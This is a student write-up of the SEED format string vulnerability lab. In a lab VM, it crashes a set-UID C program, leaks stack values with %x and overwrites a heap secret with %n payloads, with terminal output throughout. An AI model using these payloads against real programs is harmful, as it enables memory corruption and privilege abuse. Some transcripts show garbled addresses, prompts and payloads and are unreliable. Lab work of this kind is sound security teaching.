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2.1 Task 1: Exploit the vulnerability

First we need to compile vul_prog.c. we have to do it in root access and make it a SET UID program. And run the program.

Crash the program: we first run the ./vul_prog and give input as decimal number 1 and string format as %s to the crash program and we get segmentation fault.

```

root@VM: /home/seed/Documents/assign5# gcc -o vul_prog vul_prog.c
vul_prog.c: In function 'main':
vul_prog.c:28:8: warning: format not a string literal and no format arguments [-Wformat-security]
    printf(user_input);
    ^
root@VM: /home/seed/Documents/assign5# chmod 4755 vul_prog.c vul_prog
root@VM: /home/seed/Documents/assign5# ls -l vul_prog.c vul_prog
-rwsr-xr-x 1 root root 7556 Mar  6 16:25 vul_prog
-rwsr-xr-x 1 seed seed 1143 Mar  6 16:24 vul_prog.c
root@VM: /home/seed/Documents/assign5# exit
exit
[03/06/20]seed@VM:~$ ./vul_prog
bash: ./vul_prog: No such file or directory
[03/06/20]seed@VM:~$ cd Documents
[03/06/20]seed@VM:~/Documents$ cd assign5
[03/06/20]seed@VM:~/.../assign5$ ./vul_prog
The variable secret's address is 0xbf6d8b0 (on stack)
The variable secret's value is 0x 9766008 (on heap)
secret[0]'s address is 0x 9766008 (on heap)
secret[1]'s address is 0x 976600c (on heap)
Please enter a decimal integer
1
Please enter a string
%%%%%%%%%%%%%%%%%%%%%%%%%
Segmentation fault
[03/06/20]seed@VM:~/.../assign5$

```

Print out the secret[1] value: we need to know the address of secret[1], we store the address in int_input. We put the format string as a number of %x as our format string to printf statement.

```
printf("secret[1]'s address is %d (on heap)\n",&secret[1]);
```

```
root@VM: /home/seed/Documents/assign5#  
[03/06/20]seed@VM:~/../assign5$ sudo su  
root@VM:/home/seed/Documents/assign5# gcc -o vul_prog vul_prog.c  
vul_prog.c: In function 'main':  
vul_prog.c:23:8: warning: format '%d' expects argument of type 'int', but argument 2 has type 'int *' [-Wformat=]  
    printf("secret[1]'s address is %d (on heap)\n",&secret[1]);  
        ^  
vul_prog.c:30:8: warning: format not a string literal and no format arguments [-Wformat-security]  
    printf(user_input);  
        ^  
  
root@VM:/home/seed/Documents/assign5# ls -l vul_prog.c vul_prog  
-rwxr-xr-x 1 root root 7556 Mar  6 16:29 vul_prog  
-rwxr-xr-x 1 seed seed 1206 Mar  6 16:28 vul_prog.c  
root@VM:/home/seed/Documents/assign5# chmod 4755 vul_prog.c vul_prog  
root@VM:/home/seed/Documents/assign5# exit  
exit  
[03/06/20]seed@VM:~/../assign5$ ./vul_prog  
The variable secret's address is 0xbfa829a0 (on stack)  
The variable secret's value is 0x 8c21008 (on heap)  
secret[0]'s address is 0x 8c21008 (on heap)  
secret[1]'s address is 0x 8c2100c (on heap)  
secret[1]'s address is 146935820 (on heap)  
Please enter a decimal integer  
146935820  
Please enter a string  
%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/  
bfa829a8/b773b918/f0b5f1f/bfa829ce/1/c2/bfa82ac4/8c21008/8c2100c/252f7825/78252f78/2f78252f/252f7825/78252f78  
The original secrets: 0x44 -- 0x55  
The new secrets: 0x44 -- 0x55  
[A3/A6/78]seed@VM:~#. >>> assign5$
```

So we find the address of the secret[1]. So we add %s to display the value of that position.

```
root@VM: /home/seed/Documents/assign5
[03/06/20]seed@VM:~/../assign5$ ./vul_prog
The variable secret's address is 0xbfd5f030 (on stack)
The variable secret's value is 0x 89e0008 (on heap)
secret[0]'s address is 0x 89e0008 (on heap)
secret[1]'s address is 0x 89e000c (on heap)
secret[1]'s address is 144572428 (on heap)
Please enter a decimal integer
144572428
Please enter a string
%x/%x/%x/%x/%x/%x/%x/%s
bfd5f038/b771a918/f0b5ff/bfd5f05e/1/c2/bfd5f154/89e0008/U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
[03/06/20]seed@VM:~/../assign5$
```

Modify the secret[1] value:

In our string we add %n at the position of secret[1]. It will write the number of the variable string that address points to.

%x/%x/%x/%x/%x/%x/%x/%x/%x/%x/%n

```
root@VM: /home/seed/Documents/assign5
[03/06/20]seed@VM:~/../assign5$ ./vul_prog
The variable secret's address is 0xbfd81a870 (on stack)
The variable secret's value is 0x 87a9008 (on heap)
secret[0]'s address is 0x 87a9008 (on heap)
secret[1]'s address is 0x 87a900c (on heap)
secret[1]'s address is 142249996 (on heap)
Please enter a decimal integer
142249996
Please enter a string
%x/%x/%x/%x/%x/%x/%x/%x/%n
bfd81a878/b7767918/f0b5ff/bfd81a89e/1/c2/bfd81a994/87a9008/
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x38
[03/06/20]seed@VM:~/../assign5$
```

Modify the secret[1] value to a predetermined value:

We modify the value of secret[1] to a predetermined value which changes its size from 0x38 to 0x114.

%x/%x/%x/%x/%x/%x/%x/%x/%.228u%n

We use `write_string.c` to put the format string in our vulnerable program.

```
[03/06/20] root@VM: /home/secd/Documents/assign5  
[03/06/20] seed@VM: ~/.../assign5$ gcc -o write_string write_string.c  
write_string.c: In function 'main':  
write_string.c:22:1: warning: implicit declaration of function 'write' [-Wimplicit-function-declaration]  
write(fp, buf, size);  
^  
write_string.c:23:1: warning: implicit declaration of function 'close' [-Wimplicit-function-declaration]  
close(fp);  
^  
[03/06/20] seed@VM: ~/.../assign5$ ./write_string  
%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%X|X  
The string length is 45  
[03/06/20] seed@VM: ~/.../assign5$ ./vul_prog < mystring  
The variable secret's address is 0xbffecf8 (on stack)  
The variable secret's value is 0x 804b018 (on heap)  
secret[0]'s address is 0x 804b018 (on heap)  
secret[1]'s address is 0x 804b01c (on heap)  
secret[1]'s address is 134524956 (on heap)  
Please enter a string  
[0xbffecfc|c2|b7e9754b|[bffedfe|bfffede|c|804b018|804b01c|257c7825|78257c78|7c78257c|257c7825|78257c78|7c78257c|257c7825|  
The original secrets: 0x44 -- 0x55  
The new secrets: 0x44 -- 0x55  
[03/06/20] seed@VM: ~/.../assign5$
```

We observe that `secret[1]` is located after 6 positions ie `6 %x`.

```
%X|X|X|X|X|X|S
```

```
[03/06/20]seed@VM:~/home/seed/Documents/assign5 ./write_string  
%x|%x|%X|%x|%x|%x|  
The string length is 24  
[03/06/20]seed@VM:~/../assign5$ ./vul_prog < mystring  
The variable secret's address is 0xbfffcf8 (on stack)  
The variable secret's value is 0x 804b018 (on heap)  
secret[0]'s address is 0x 804b018 (on heap)  
secret[1]'s address is 0x 804b01c (on heap)  
secret[1]'s address is 134524956 (on heap)  
Please enter a string  
0xbfffecfc|c2|b7e9754b|bfffed1e|bfffeelc|804b018|U  
The original secrets: 0x44 -- 0x55  
The new secrets: 0x44 -- 0x55  
[03/06/20]seed@VM:~/../assign5$
```

We insert %n to modify the value of secret[1]. And we are able to modify it to 0x37.

```
%x|%x21|%x|%x07|%x|%x|%n
```

```
root@VM: /home/seed/Documents/assigns
[03/06/20]seed@VM:~/../assign5$ ./write_string
%x|%x21|%x|%x07|%x|%x|
The string length is 28
[03/06/20]seed@VM:~/../assign5$ ./vul_prog < mystring
The variable secret's address is 0xbffecf8 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
0xbffecfc|c221|b7e9754b|bfffed1e07|bfffec1c|804b018|
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x37
[03/06/20]seed@VM:~/../assign5$
```

References :

<https://github.com/aasthayadav/CompSecAttackLabs/blob/master/7.%20Format%20String%20Vulnerability/Lab%207%20Format%20String%20Vulnerability.pdf>

https://github.com/firmianay/Life-long-Learner/blob/master/SEED-labs/format_string-vulnerability-lab.md